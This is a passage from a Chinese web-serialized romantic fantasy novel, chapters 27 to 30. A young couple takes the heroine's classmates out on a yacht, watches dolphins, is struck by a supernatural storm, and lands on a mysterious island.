顾冉注意到,两人的目光始终落在渐行渐远的那对情侣身上。
稍有不同的是,顾清河大多时候看着的,是温辞。而章扬,怒目圆瞪,死死盯着司渊的背影。
很快,两人的身影消失在茫茫人海。
“我怎么觉得,司渊身上那件衣服有点眼熟。”顾清河率先收回视线,转而看向章扬,说的话也有些莫名。
章扬咬牙切齿地说:“那是温辞的。你忘了,上次咱们几个去玩密室逃脱的时候,她穿的就是这一件。”
顾冉没插嘴,安静听着。但是,她看向顾清河的目光,多了些意味深长。
她这个远房堂哥的心思,还真是让人猜不透。但有一点可以确定,顾清河终于不再惧于章扬的存在,也开始主动进攻了。
只是不知道,让他做出这样改变的,究竟是温辞交了男朋友,还是即将开展没有章扬在的大学生活。
也只有章扬,自负又自傲,根本看不出顾清河的野心。
27. 鳞片
-
“司渊,我饿。”
才转过弯,温辞扯了扯司渊的胳膊,说:“咱们去吃海鲜面好不好?”
“自助餐没吃饱?”司渊垂眸瞥她一眼,连说话的语气都夹杂着一些酸意。
刚才寒暄的时候,他明明听到章扬在跟他炫耀,他今天请温辞和另外两人吃了四位数的海鲜自助。
“桌上有我讨厌的人,我吃不下嘛。”温辞嘟哝了声,又问:“你不饿吗?”
不等他开口,他的肚子咕噜咕噜的放肆叫嚣起来。
温辞轻笑,司渊面上一赧。
“想去哪吃?还是我们自己回家煮?”他问。
“回家。”
温辞没有犹豫,牵起他的手腕,步子飞快。好在司渊腿长,丝毫不费力追上。
海风虽清凉,但温辞还是因为疾走出了些汗,潮意逐渐弥漫周身。
但最为炽热的,还是她手掌之下,他的腕子。温辞又想起他睡着时,被汗水浸湿的衣领。
明明前几日,她还没有这么觉得。
要么,是她没注意。要么,是这几日才升高的。会是他后背上那些伤口的原因吗?温辞忍不住想。
“司渊,你的体温怎么比我高这么多啊,像个暖炉。我都出手汗了。”温辞松开了他的手腕,掌心朝上,举到司渊面前。
司渊垂眸,借着月光和路灯,倒也看清了她掌心里明晃晃、泛着晶莹的汗液。
同样的汗液,他的手腕上也有。只是不知道,这汗液,究竟是她一个人的,还是也有他的。
温辞还在等着他的回答,司渊强压下心头的悸动,缓缓开口:“个人体质的问题。”
“那前几天还没这么烫呢。”温辞之所以说这句话,也只是为了验证她的一些猜测。
司渊的反应很平淡,解释更是从善如流,像是没有任何异样。
“我这个人,体质从小就跟别的人不一样。或许是因为身体的活力太足的原因,每到月中,我的身体总是比其他时候要烫一些。”
这时,温辞还不知道,司渊这个人抗压能力极强,心里越是忐忑,神色就越是平静。
听到他这么说,温辞心里的怀疑逐渐散去,转而变得很担心。
“为什么会这样?有去看医生吗?”温辞问。
“别担心,医生说了,只是个人体质的问题,不是什么大毛病。过两天,体温就会恢复成正常状态。”司渊语气轻快,又补充了句:“如果你嫌热,可以暂时离我远一点。”
“那可不行。”不等话落,温辞抬手,挽上了他的胳膊,笑意盈盈,说:“我的体温低,你的体温高,刚好可以中和一下。”
司渊没说话,但脸上也有了一抹不易察觉的笑意。
他喜欢温辞这样缠着他,他喜欢这种被人需要的感觉。
尤其是被温辞需要。
“对了,明天我邀请了我那三个同学出海玩,你有时间一起去吗?”温辞仰头问他。
司渊思索了一瞬,说:“有,我可以陪你一起。”
“那可太好了。我也不想单独跟他们一起相处。可人来都来了,怎么也要尽一尽地主之谊。”温辞连脚步都雀跃几分。
-
吃完晚饭,温辞在司渊这里待了好一会儿。直到月上中天,困意来袭,她才想着离开。
司渊送她到别墅门口,义正词严地拒绝了温辞提出的同床共枕的邀约。可温辞却像是铁了心,攥着他的衣角死活不松手。
最后,司渊被她缠得实在是没了办法,只好俯下身,强制堵上了她喋喋不休、试图说服他的嘴巴。
原本司渊的打算是浅尝辄止,但温辞似乎是猜透了他的意图,双臂环上他项颈的同时,紧紧攥住了他的后衣领。
他想退,也退不开。
于是,原本的浅尝辄止,在两人你来我往的试探和交流中逐渐变了味道。
咸湿的空气在二人唇齿的争抢之中逐渐变得稀薄,温辞感觉自己近乎缺氧,身体也变得绵软无力,连他的后衣领也要抓不住了。
如果不是司渊还紧紧搂着她的腰,如果不是她身后就是坚实的墙壁,她怕是站也要站不稳了。
双臂失了力气,缓缓从他肩上滑落。温辞推不开他,又被他搅着舌说不出话,喉腔发出零星几声呜咽。
司渊终于卸了几分力气,却依旧没有舍得松开她。鼻尖相抵,亲昵无边。
好一会儿,温辞才恢复了些许力气。但仍然像踩在棉花上,脚步软绵绵的。司渊就是趁着这个时候,三言两语将她哄回了房间。
温辞洗漱完,看着镜子里脸颊红晕未消的自己,仍然觉得自己头脑空空,像是被僵尸啃掉了脑子一样。
直到她躺到了床上,她才反应过来,自己太过于沉浸男色,连他拒绝了她的邀请都没有意识到。
她拿起手机,想找他算账,却满腔甜蜜。别说气愤了,连怨怼都没有。互道了晚安之后,温辞缓缓进入了梦乡。
送温辞回家后,司渊一直没有进房间。
他坐在槐树之下的竹椅上,啼鸦安静卧在他的怀里,他抚着它的羽毛,视线却始终落在对面那扇亮着灯的窗户上。
回复完她的睡前信息没一会儿,她的房间也暗了下来。司渊松了一口气,放飞啼鸦,起身回了房间。
他换上潜水服,径直往偏僻的海域奔去。
子时已过,农历十五,正是月圆之夜。
水面波涛粼粼,银辉洒满了海岸。
他的脚步缓下来,仰头看了一眼夜空。疏星朗月,高悬中天。看着那轮圆月,司渊越发觉得口干舌燥。
他身体的异样再也掩饰不住了。
每到月圆夜前后,他的身体总是会生出几分状况。不仅仅是体温升高,就连身上也都长满了只有爬行类动物才会长的鳞片纹路。
密密麻麻的鳞片纹路,从脊背开始,逐渐遍布全身,看起来尤为可怖。伴随着的,是一阵阵刺骨的疼痛。不被人触碰还好,否则疼痛更甚。
这是他最大的一个秘密了。
因为身世的原因,他在这庚辰岛已经是个异类了,不想再被别人当成怪物对待。所以,这件事情,他没有告诉过任何人,包括霍懈北。
之前,他也趁着正常的时候去医院检查过,医生说他的身体壮实的像头牛,没有任何问题。可到了月圆夜,他的身体依旧会出现这种状况。
年幼的时候,他最怕的,就是月圆夜的到来。那样钻心的疼痛,让他从心底里惧怕。
一次偶然的雷暴夏夜,一颗惊雷,劈漏了他家的屋顶,滂沱大雨从屋顶的窟窿里倾泻而下,将他浇了个透心凉。
也是那时,他才发现,水能抑制他身体的疼痛。
后来,每到月圆夜前后,如果有能够入水的机会,他都会待在水中。如果没有,他就会一身长衣长裤,尽可能把自己护得紧紧的。
无论冬夏。
一年十二个月,他每个月都会疼一次。
这么多年下来,他别的本事没有,忍痛的能力倒是大大加强。
如果不是因为温辞时刻会靠近他,如果不是她说明天要和那三个同学一起出海玩,他完全能将这阵疼痛忍过去的。
只是那样的话
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,他身上的秘密,怕也是要瞒不住了。
司渊越过浅滩,快步往海里走去。
或许是因为他的动静太大,又或许是因为对于海里的鱼类来说,他是一个充满了陌生气息的入侵者,他才一入水,原本在海里自由游曳的鱼群,霎然四散,用最快的速度逃离他的身边。
翌日,当东方第一缕晨光缓缓升起,司渊从水里出来,甩了甩湿漉漉的头发,大步往家走去。
他在海水中浸了一整夜,身体的症状总算是有所缓解。虽然身体依旧滚烫,但至少,身体上的那些纹路消散,恢复成了正常的肤色。
这样,就算是温辞靠近,也察觉不出什么异样了。
早饭后,温辞照旧给他换药,却惊奇发现,他后背的伤已经完全好了,溜光水滑,完全不像受过伤。
“司渊,你这伤口好的也太快了吧。”温辞惊叹。
司渊从沙发上站起身,一边整理自己身上的衣服,一边说:“可能是因为这几天我的体温比较高,身体里的防御机制主动调节到最佳,伤口也因此恢复的快了些。”
“当然,你的功劳更大一些。”
他套上那件一早就备好的黑色外套,上前一步,揉了揉她的脑袋,说:“如果不是你按时给我换药,这伤口一定不会好这么快。”
温辞赧然低笑,红晕又一次涨满双颊。
四目相对,两个人都不约而同想起昨晚亲吻的画面,氛围又一次变得旖旎。两人越凑越近,眼看着就要亲上。忽然,温辞的手机铃声响起,打断了两人的动作。
来电提醒上,章扬的名字不停跳跃着。温辞眉心微蹙,嘟哝了句:“啧,讨厌人。”
“那就不接。”说着,司渊从她手里拿过手机,准备挂断。
“等等。”她一把攥上司渊的手腕,开口阻止,“先别挂,昨天我都答应他们了,早晚都要去的。”
轻微的刺痛密密麻麻从手腕传来,司渊动作一顿。
下一秒,手机重新落回到温辞手中。她手指稍一滑动,接通了电话。
冷淡且疏离的声音传入司渊耳中,他稍稍安定了一些。章扬于她而言,不过是纠缠过甚的男同学而已。
昨天聊天的时候,不知是谁把话题主动引到了她那艘游艇上面,她既身为东道主,自然不能吝啬,便主动邀他们三人出海玩。
两人简单聊了几句,最后把会面时间和地址都敲定了。半个小时后,两拨人在停靠着游艇的三号码头见面。
从家里走到码头,不到五分钟的路程。
为了避免那三人久等,温辞和司渊是挂断电话后的二十分钟之后出的门。结果,两人到的时候,那三人正在码头上翘首以盼。
最先看到温辞的,是顾冉。
大老远的,她就冲温辞招手。
近了,顾冉更是先章扬和顾清河一步,欢快跑到她身侧,亲昵挽着她的胳膊,雀跃又兴奋地诉说着在这庚辰岛的见闻。
这样亲昵的举动,自从章扬隔三差五出现在她身边之后,顾冉就再也没有对她做过。
所以,顾冉冷不丁地动作,温辞很不习惯,但她并没有把胳膊从顾冉的手里抽出。莫名的,温辞感觉,顾冉对自己的敌意好像消失了。
莫非,她和章扬之间,发生了什么事情?
这一趟出海,和上次不同。
这次的掌舵人是司渊,而非温辞。温辞则负责和她远道而来的三位同学聊天。司渊大多时候都很安静,却阻挡不住一道、两道甚至是三道目光频频落在他的身上。
除了温辞,这游艇上的每一个人都对他充满了好奇。
28. 海豚
自上了船,温辞几乎不得闲。不是回答这个人的问题,就是劝谏那个人随意一点,不要拘束。
但她并没有因此忽略司渊。
她把那一袋极其有重量的零食等东西提到中间,招呼那三人不用客气之后,拿了两瓶尚有几分凉意的纯净水,送到了司渊身边。
日光虽有些耀眼,但胜在海风清爽,打在人身上,惬意至极,甚至有几分凉意。可司渊的额上却始终沁着一层薄汗。
他看起来很热。
温辞把水递到他手里,用手背探了探他的额头,咕哝了句:“还是好烫,跟发烧了一样。”
“司渊,你真的不觉得难受吗?头晕不晕?脑袋疼不疼?”温辞担忧地问:“要不换我来开吧?你休息一会儿。”
“不用,我没那么脆弱。”司渊摇头,攥着她的手腕,使得她的手背离开他的额头,“放心,不晕也不疼。除了体温有点高之外,没有任何不舒服。”
“那些人是你的同学。他们是冲着你来的,由我来招待的话,像什么样子。”
司渊微微垂首,用只有他和温辞两个人才能听到的声音,说:“更何况,你送来冰水的时机刚好,祛热消火,清凉解暑,再好不过。”
温辞的眉眼之间,始终笼着一层忧虑。
司渊:“放心,我真的没事。去吧,他们还等着你。”
“如果感到不舒服,一定尽快告诉我,咱们好尽快返航。”温辞一步三回头,再三叮嘱。
司渊:“好。”
看着二人依依不舍的阔别场面,三人脸上呈现出各样的神色。
顾冉羡慕,顾清河嫉妒。章扬则一脸阴郁地盯着司渊的背影,咬牙切齿吐了句:“哼,做作。”
温辞已经朝着他们走了过来,顾清和听到章扬的低语,转头睨他一眼,低声警告:“慎言。”
如今,他们一行三人吃的、喝的,甚至是坐着的,都是温辞的东西。无论如何,都不应在背后议论、甚至是谩骂人。
顾冉不动声色观察着船上的这几人,心里却对章扬又失望几分。她甚至想不明白,自己以前为什么会痴迷于这种人。
顾冉收回视线,自嘲勾勾唇,把视线落在远处的海面上,却发现了一道奇观。
她兴奋站起身,往前走了两步,指着远处那群不停跃出海面的鱼群,高喊了一声:“快看,有鲸鱼。”
闻言,船上的一众人纷纷侧目望去,包括掌舵的司渊。
“哪呢?我看看。”温辞快步走到顾冉身边,视线循着她手指的方向望去。
“在那儿,看到了吗?”顾冉重新指给她看。
温辞点头,和顾冉对视一眼,说:“看到了,真的有鱼群。”
不等话落,她又转头看向司渊:“司渊,你快看。”
司渊把视线从海面收回,转而看向温辞,说:“我也看到了。不过不是鲸鱼,是海豚。传闻,这一片海域偶有海豚群出没,却很少有人能够看到。”
章扬和顾清河也先后走到了顾冉和温辞身边。顾清河还在伸着脖颈张望,章扬却是连看也没看一下,阴恻恻的目光始终落在司渊身上。
听到他这么说,章扬冷哼一声,阴阳怪气说了句:“少见多怪,谁还分不清鲸鱼和海豚了,要你多嘴。”
这话一出,谁也不看那群海豚了,视线不约而同落在他的身上。气氛一度变得尴尬,一时间谁也没有开口说话。
顾清河一脸欲言又止,看向温辞时,眸子里满含歉意。那神情,似是在说:不好意思,我也管不了他。
顾冉的脸色也变得难看。
尽管她知道,章扬脱口而出的那番话,主要是针对温辞的男朋友司渊,但鲸鱼二字,率先出自她口。
他可是半点情面都没有给她留。
反观是温辞的那位男朋友,一脸平和,好似完全没有被章扬的话影响到。难怪温辞选他当男朋友,而不是章扬。
顾冉尴尬垂下眼,没有言语。
温辞抬眸看了司渊一眼,眉眼之中,蕴着一抹显而易见的愠怒。司渊冲她摇头,示意她不要和章扬一般见识。
可越是这样,她就越是愤慨。她不想让司渊因为她平白受到旁人的讥讽,更何况那个人是章扬。
温辞看了一眼顾冉,反手握上了她的手,以示安慰。
随即,她看向章扬。确切来说,是怒瞪。嘴上也是毫不客气,再无情分可言。
“章扬,你胡说八道什么东西?如果你学不会心平气和,就请你从我的游艇上跳下去。”
“你...我...”
章扬脸上的怒气更甚,却已是敢怒不敢言。半晌都没说出一句完整的话来。他真的有点担心,温辞一气之下,会将他赶下船。
最终,还是司渊走过来,开口打破了这个僵局。
“阿辞,你想不想凑近去观赏一下鱼群?”司渊的用词很是谨慎,并没有用‘海豚’个才引起争端的词汇。
轻而易举的,温辞的注意力转移到司渊及那群海豚上。她冲司渊点头。
“那我往把船开过去。”司渊看了温辞一眼,转而扫了一圈其他人,说:“这片海域遍布旋涡,中途恐有颠簸,烦请诸位,坐好扶稳。”
说完这些,他看了一眼温辞,转身走向操作台。
温辞白了章扬一眼,拉着顾冉坐回了位子。顾清河无声叹了口气,拍了下章扬的肩膀,拽着他一起坐了下来。
司渊的船开得很稳,不等感受到他口中的颠簸,游艇便开到了那群海豚周围。
“不能再靠近了,把它们吓跑,我们可就没眼福了。”司渊把机器熄了火,任小船随波漂流。
看着不远处成群结队不停跃出海面的海豚,温辞的脸上总算是有了几分笑意。顾冉也拿出手机,开始对着鱼群拍摄。
章扬依旧臭着一张脸,没有半点赏鱼的兴致。
顾清河比他稍好一些,尽管神色恹恹,但视线大多落在海面上。偶尔,他会侧目看温辞一眼,片刻后,又会不着痕迹挪开目光。
他自以为做的隐蔽,却丝毫不知,他的小动作尽数落在
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司渊眼中。也只有温辞,才会傻乎乎认为,同行三人,只有章扬对她存有旁的心思。
司渊敛眸,信步走到温辞身边,问她:“阿辞,要不要拍张照?”
“好呀。”温辞想也没想,点头同意。
“你手机上没有好用的拍照app,用我的。”不等司渊把手机从口袋里拿出来,温辞先他一步拿出手机,打开她经常用的拍照软件,递到了他的手上。
温辞娴熟摆了两个拍照的姿势,她的笑脸和不远处的那群海豚一同入了镜。
身侧的顾冉,频频侧目。
温辞注意到她的视线,冲顾冉招招手,说:“顾冉,过来呀,一起拍。”
顾冉犹豫片刻,她抬眸看了一眼司渊,见他的脸上并没有不悦和不耐烦,这才缓步上前。
另一边,顾清河和章扬看着异常和谐的拍照三人组,颇有默契地对视一眼。章扬给他使了一个眼色,顾清河会意,率先起身,朝着她们走去。
章扬紧随其后。
两人突兀闯入镜头,惹得其余三人的视线纷纷落在他们身上。
司渊收起手机,面色平和审视着他们。温辞和顾冉的眼中,也满是疑惑。
顾清河先是冲着司渊扬起一抹略带歉意的微笑,又转头看向温辞和顾冉,主动提议,说:“咱们几个同学一场,又有幸一起出海观鱼。不如,一起拍张合照吧?”
高中三年,顾清河一直是班长,惯会发号施令。温辞不疑有他,拽着顾冉往旁边挪了下,给他们腾了个位置。
两人见状,抬步走过去。
章扬原本走在顾清河身后,为了站在温辞旁边,步子陡然迈的很大,越过顾清河,来到温辞身边,占据了大半个C位。
顾清河抿了抿唇,顿了顿步子,绕到了章扬身侧。随即,他勾了勾唇,看着独自一人站在对面的司渊,说:“司渊,那就麻烦你帮我们多拍几张合照了。”
无论是刚才,还是现在,顾清河总是能三两句话就将司渊排除在他们四人之外。他的心思,比那个叫章扬的,不知道要深了多少倍。
偏偏,一行人中,温辞的防备心只对章扬。她对这个顾清河,好似完全不设防。
“好。”司渊应了他一句,重新举起手机,又往后退了两步,将四人全都框入镜头,咔咔拍了两张。
就在他准备给他们拍第三张合照的时候,一通电话进来,打断了他的动作。
看着通讯软件突然弹出的视频页面,司渊登时觉得头皮一阵发麻,连站姿都规整了几分。
“阿辞,你有视频电话。”他朝温辞走了两步。
温辞:“谁打来的?”
“叔——”司渊垂眸,瞥了一眼页面上的‘爸爸’两字,及时改了口:“你爸爸。”
“糟了,糟了。”温辞的脚步快了几分,嘴里咕哝着:“早上出来的急,忘记给他们打电话了。”
温辞从司渊手上接过手机,就近寻了个位子坐下,没有避讳任何人,接通了视频,异常乖巧地冲着手机里的人喊了声爸。
29. 岛屿
温辞却从来没有那么想过。
她把视线从那三人身上挪开,落在了司渊的背影上。他心无旁骛操作着驾驶台,海浪拍打在身上,他躲也不躲。
温辞不再犹豫,抱着最后一套救生衣,来到了司渊身侧。
他还要避开旋涡和海浪,两只手不能完全离开操作台,温辞拍了拍他的肩膀,高喊了声:“司渊,抬手,先把救生衣穿上。”
司渊侧目看了她一眼:她的衣服、头发完全被海浪打湿,黏腻地贴合在肌肤上,有点狼狈。
他接过救生衣,拧了拧眉,漆眸里生出一抹堪比天上的乌云还要浓稠的异样情绪。
温辞正准备离开,被他及时拉住。滚烫的温度,几乎把她的手腕灼伤。
她只感觉眼前一黑,下一秒钟,司渊双臂撑开救生衣,不由分说地套在了她的身上。
“别动。”温辞意识到什么,挣扎了下,又被他喝止。
司渊的动作很麻利,替她穿好救生衣后,将她安置在了离驾驶位最近的位置上,抚了抚她的脑袋,说:“不要怕,抓紧栏杆,不要离我太远。”
不等温辞给他回应,他就大步迈向了操作台。她看着司渊挺阔的背影,眨了下有点酸涩的眼睛,好半晌都没有说话。
“这什么鬼天气啊?刚才不是还说今天一整天都是晴天吗?”在有可能威胁到自身性命的极端天气下,章扬再也没有心情去看温辞和司渊的关系,一心只想远离这片诡异的海域。
顾清河的情绪比他稳定一些,他担心章扬的出言不逊会影响到司渊的操作,一把拽住站起身,正欲朝着司渊奔去的章扬,说:“行了,少说两句,先上岸再说。这里太危险了。”
章扬神色忿忿,不耐烦地撇开他的手,坐下来后,他低声咒骂了句什么。
旁人听不见,距离他最近的顾冉却是听得一清二楚。
他说:“真他妈的晦气。”
明明出海这件事情,是他邀温辞吃饭时主动提及的。
是他说,温辞发在朋友圈里的游艇图片看不真切,又听说庚辰岛周边的海景很好,可正值暑期,前来避暑的游客众多,租赁游艇需要提前三天预定,他们一行人来得匆忙,一时间根本预定不到游艇出海。
顾清河听了,也巴巴地看着她。温辞这才应下了。
可现在,章扬仿佛全然忘记了,并把这次不幸归咎到了旁人身上。
顾冉转头瞥了他一眼,眉眼之间,满是嫌恶。她心里仅存的那点爱慕之情,在这一刻尽数弥散。
她甚至开始后悔自己为了贪一点小便宜,盲目跟着他们一起来到庚辰岛。
忽然,平静的海面上出现无数个大小不一的漩涡。
和广袤无垠的大海相比,游艇的体积小,宛若一叶扁舟。司渊蹙了蹙眉,时刻注意着海面的情况,绕过两处漩涡后,冲着众人高喊:“大家小心,海面有旋涡。”
闻言,船上的一众人,神色紧张,纷纷抓得更紧了些。
漩涡起的突然,一时半刻有点开不出去,甚至在原地打起转来。
除了司渊,船上的四人大多时间都在内陆,偶尔在天朗气清时乘船出海,却也从来没有经历过这些场面。一个两个,装的再老成,也不过是没有见过什么大风浪、堪堪高中毕业的少年人而已。
连转带吓,一个个晕头转向,面无血色。
尤以章扬和顾冉,最为严重。
恐惧侵袭大脑的同时,晕船感又一次席卷而来。
章扬鼓着腮帮子屏息一瞬,强行压下想要呕吐的感觉,冲着司渊的背影大喊:“怎么一直在原地打转啊?你这家伙到底会不会开船啊?我们还要多久才能回到岸上啊?”
除了自己,章扬看不上围绕在温辞身边的任何一个异性,包括已经身为她男朋友的司渊。他讨厌司渊,所以连他的名字也不愿意叫出口,下意识用你这家伙来代替。
与此同时,远在千里之外的九岭山上,霍懈北、温予和无妄三人围坐在茶室,茶几上摆放着一个木质的圆盆,盆中盛着清水。
水面平静,无波亦无澜,清澈的像一面镜子。水镜中的画面,正是温辞几个身处的那面海域。
章扬的面庞从水镜中一闪而过,尖锐的声音响彻整间茶室。
霍懈北和温予不约而同地皱起了眉,无妄面色平静,眸底却也浮上一抹愠色。他抬手捏了一道剑诀,冲着水镜虚点了一下。瞬间,水波四散。
一道异常刺眼的闪电骤然撕开了他们头顶的乌云,轰隆一声巨响,一道惊雷落下,重重击打在章扬身后的海面上。
掀起的巨浪足足有数丈之高,又在一息之间,疾风骤雨一般悉数落下。
明明顾清河、章扬以及顾冉依次坐在位子上,可海浪却全部打在了章扬身上。哗啦一声,章扬活像一只落水狗。
可就算是这样,顾冉仍被那声惊雷吓到,下意识发出一声尖叫,抱着脑袋蹲下身来,迅速往前挪了两步。
她害怕被雷劈。刚才,她看得一清二楚,那道惊雷落下时,离她不足五米。
顾清河也一脸惶惶,他一把拽下几乎被海浪冲下船的章扬,高喊了声:“小心。”
纵他平日里很多时候都看不惯章扬的做派,却仍不忍他平白坠入海中。
章扬面无血色,狼狈不堪地挣扎着坐起身,再顾不得逞口舌之快,双手紧紧抓着什么,生怕坠海。
司渊和温辞也感到一阵心惊肉跳,两人的目光扫过那三人后,又不约而同仰起头。
肉眼可见的,无数条泛着氤氲紫气的闪电,似无数条游龙穿梭于团团乌云之中,闷雷声更是一阵接着一阵,仿佛下一秒钟就要劈下来。
就算是自幼在海边长大的司渊,也从来没有见过这样诡异莫测的天气。他始终悬着一颗心,却迟迟没有等来下一道惊雷的落下。
风还在持续刮来,海面的漩涡却在不知不觉中少了大半。
温辞率先回过神,她快步挪到司渊身边,说:“现在的情况,实在不适合长时间待在海上,我们得尽快着陆。”
司渊嗯了声,视线却始终盯着某一方向。温辞顺着他的视线望去,隐约看到一座小岛。
“司渊,有岛。”她扯了扯司渊的袖口,言语中溢出一抹喜色。
司渊垂眸,低喃了句:“刚才我们来的时候,周围并没有什么小岛。”而且,他之前捕鱼的时候也来过这里。在他的记
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忆力,这片海域附近,并没有岛屿。
“或许,当时是我们忙着看海豚,并没有注意到那座小岛呢。”
温辞并没有把他的话放在心上,又说:“而且,如今的情况,贸然返航的话,实在是太危险了。最安全的办法,就是去那座小岛上暂避。”
司渊点点头,冲着那座小岛开去。
温辞走到另外三人面前,她不着痕迹地瞥了一眼被浪打的彻底没了精气神的章扬后,朝一旁的顾冉伸出手,将她扶到了位子上。
温辞正准备松开她,顾冉却把她抓得更紧一些,问:“温辞,咱们什么还有多久能上岸啊?”
闻言,顾清河和章扬的视线也都落在温辞的脸上。
温辞斟酌一瞬,选择不和他们商量,直接用通知的语气,说:“突发雷暴和大风,返航花费的时间太久了。可能我们还没上岸,就被雷给劈了。刚好前方有一座小岛,我们得先去岛上暂避一下。”
刚才那道惊雷的威力,每个人都心有余悸。所以,并没有人去反驳温辞的话,反而纷纷伸长了脖子,朝着那座小岛的方向张望。
半个小时后,温辞几个上了岛。
顾冉像是忽然转了性,不再围着章扬打转,反而时刻跟在温辞身侧。偶尔,还会亲昵的挽上她的胳膊。
温辞虽然有点不习惯,可每次想甩开时,余光注意到她惊慌失措的神情,又于心不忍,便一直让她这么挽着。
司渊拎着零食和水,走在温辞的另一边。顾清河和章扬闷不做声地跟在后面,但看向司渊的目光,却充满了探究,没有半点善意。
阴风怒号,吹得岛上那些生长的无比茂密,却又叫不出名字的树木吱呀作响。头顶大片的乌云并没有散去,本以为会很快下来的大雨也没有来,天始终阴沉沉的,像是酝酿一场瓢泼。
反倒是那些数不清的闷雷,隔三差五就会落下一个,吓得人心肝俱颤。
却又及其幸运的,没有一道砸到他们头上。
这座小岛出现的诡异,自踏上岛的那一刻,司渊就始终为此悬着心,生怕潮湿的密林中会突然钻出什么东西来。
野兽什么的倒还好,怕就怕是什么不怀好意的别的东西。所以,他时刻跟在温辞身侧,不敢离她太远。
这样,万一有什么突发状况,他还能及时做出反应。
尽管是并肩而行,可司渊的步子却比总是比同行的两个女生要大一些,落在后面两人眼中,便是司渊在主导着他们一行人前进。
章扬从来都不喜欢被人主导,他阴恻恻瞪着司渊的背影,说:“哎,那谁。这岛上阴森森的,你要带我们去哪儿啊?”
不约而同的,所有人的脚步都顿下来。
除了章扬。
陌生的环境,章扬心里也没底。他跟的很紧,以至于司渊转过头来看他时,他差点一头扎到司渊怀里。
司渊眼疾手快,退后两步。章扬一个趔趄后,稳住了身形。
司渊缓缓开口:“我也没来过这座岛,不知道岛上都有什么,更谈不上要带你们去哪儿。如果你想走前面,也是可以的。”
他不想承担起所有人的责任,只想把温辞安全无虞的带回去。
30. 歧路 Girls help
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司渊说完这话,又退后两步,给章扬让出一条路来。
他这动作,被章扬解读成挑衅。
“走就走。”
章扬轻嗤一声,给顾清河使了一个眼色,大步走到最前面。顾清河紧随其后。顾冉不动声色地观察着每一个人,温辞和司渊极有默契的对视一眼,看向对方时,脸上都浮现出一抹歉意。
司渊抿唇,看了一眼已经走出去好一段距离的两人,说:“走吧,先跟上他们再说。马上要下雨了,我们要尽快找一个地方避雨。”
温辞冲他点点头,转头看了顾冉一眼,跟紧司渊,大步追上了前面那两人。
乌云和繁茂的枝丫完全遮住了光亮,越发显得这座岛屿阴沉沉的,顾清河和章扬不得不用手机的手电筒功能照明。
路面上是大片的枯枝烂叶,脚踩上去,发出吱呀声响。一行人又在密林中走了好一会儿,却始终没有找到一处可以栖身的避雨之地。
骂骂咧咧了一路的章扬,心里也越来越没底,逐渐安静下来。一路走下来,耳边除了呼啸的风声和轰隆不止的闷雷声,还有匆忙的脚步和急促的呼吸声,以及司渊手上提着的塑料袋发出的呲啦声响。
忽然,一阵窸窣的动静自头顶传来。
顾清河最先听到,他伸出胳膊,拦下章扬,又低喝一声:“有声音。”
同时,他扬起手,把手电筒对准了声音发出的方向。其余四个人纷纷停下脚步,顺着那束光亮望去。
司渊仰头张望的同时,步子又往前迈了一步,大半个身子都挡在了温辞面前。她只能越过他的肩膀,四处张望。
顾冉看着,满心艳羡,却不再有嫉妒。因为温辞被司渊护住的同时,她也伸出了胳膊将她护在了身后。
不是故作姿态,完全是下意识的行为。
“你们听,声音好像是从那个方向传出来的。”
顾清河晃了晃手电筒,零星的几缕光线从繁盛的枝丫中照向半空,却始终瞧不真切,看不清到底是什么东西闹出的动静。
所有人都不敢掉以轻心,连呼吸都放的很轻。
扑
扑扑
...
陌生的岛屿,诡异的声音,以及各种buff叠加在一起,几近攻破他们的心理防线
他们起了一身的鸡皮疙瘩。
除了温辞和司渊。
温辞耳侧听着,越来越觉得,这声音有点像啼鸦的振翅声。她凑在司渊耳边,说:“司渊,你听,这动静像不像鸟弄出来的?”
司渊颔首。他也听出来了。
而且,他还有一种直觉,弄出这鬼动静的,就是他的啼鸦。
但不排除有他听错的可能。
司渊垂首,用余光瞥了一眼温辞。她还在这儿,他必须慎而又慎。
思忖一瞬,司渊抬手,食指和拇指环成一个圆,置于口中,吹了一个响哨。如果树上真是啼鸦,听了他的召唤,就一定会飞下来。
不等树上的东西有反应,章扬和顾清河反倒被吓了一跳,同时回头看他。可另外的三人,谁也没有看那两人,眼睛眨也不眨地盯着树杈。
指哨持续了大约三秒钟,声音落下的瞬间,一道黑影从树上飞下。
嘎,嘎。
振翅声,伴着乌鸦的鸣啼声,一同传入每个人耳中。听到这动静,司渊和温辞不约而同松了一口气。
顾冉和另外两人不明所以,纷纷瑟缩着脖子,退步避让。
陌生的环境,看到熟悉的生物总是令人喜出望外。
“是啼鸦。”温辞兴奋低喊了声,连平日里对啼鸦的惧意都消减了不少。司渊嗯了一声,往前递了递胳膊,啼鸦无比娴熟的落在了他的腕子上。
顾清河和章扬稳了稳心神,缓步上前,看清司渊举着一个什么东西后,面露嫌恶。
只不过,顾清河的神色要比章扬收敛很多。
阴沉的情绪一闪而过,没让任何人发现。甚至,连语气都很平和,仿佛刚才被吓得抱头乱窜的人不是他一样。
“原来是只乌鸦啊,好在虚惊一场。”
章扬的视线来回在乌鸦和司渊身上打量着,嘟囔了句:“邪里邪气的,吓死老子了。”
说鸟,也说人。
啼鸦歪着脑袋看了章扬一眼,嘎嘎叫了两声,似是在表达它的不满。
“邪了门了,我怎么感觉它能听懂我的话?”随后,他又用手肘撞了一下顾清河,问:“哎,你看,它是不是在瞪我呢。”
他的声音不小,准确无误传入每个人耳中。
顾冉在他看不见的角落,翻了一个白眼,投去看智障一样的眼神。自从上次在KTV里对他祛魅后,就越来越看不惯他的一些所作所为。
莫名的,顾冉脑海中忽然闪过章扬那天在KTV的言行举止,心口忽然急促跳了两下。
糟糕!
难怪她总觉得忘了什么,这么危险的事情她忘记告诉温辞了。
顾冉飞速在脑海中过了一遍章扬这几天的行为,越来越觉得,如果不是这场意外,他极有可能选在今天对温辞动手。
顾冉环顾一下四周,随即又把视线落在了比章扬还要高出半个脑袋的司渊身上,暗想:这岛上的环境这么恶劣,还有司渊在她的身边,章扬应该不会蠢到这个地步吧?
转念一想,她又觉得,依着章扬那个脑容量,他应该就是会这么蠢。
可如果她和温辞碎碎念的话,目标实在是太明显了。万一,等哪天章扬回过味儿来,还不搞死她。
可她又实在不放心温辞。
于是,她拿出手机,点开和温辞的聊天页面,手指飞速在屏幕敲打着,片刻后,一大段话撑大了对话框。她点了发送键,温辞的手机也确实发出了叮咚一声。
可除了顾冉,其他人谁也没有注意到。
他们的注意力,都在那只乌鸦身上。
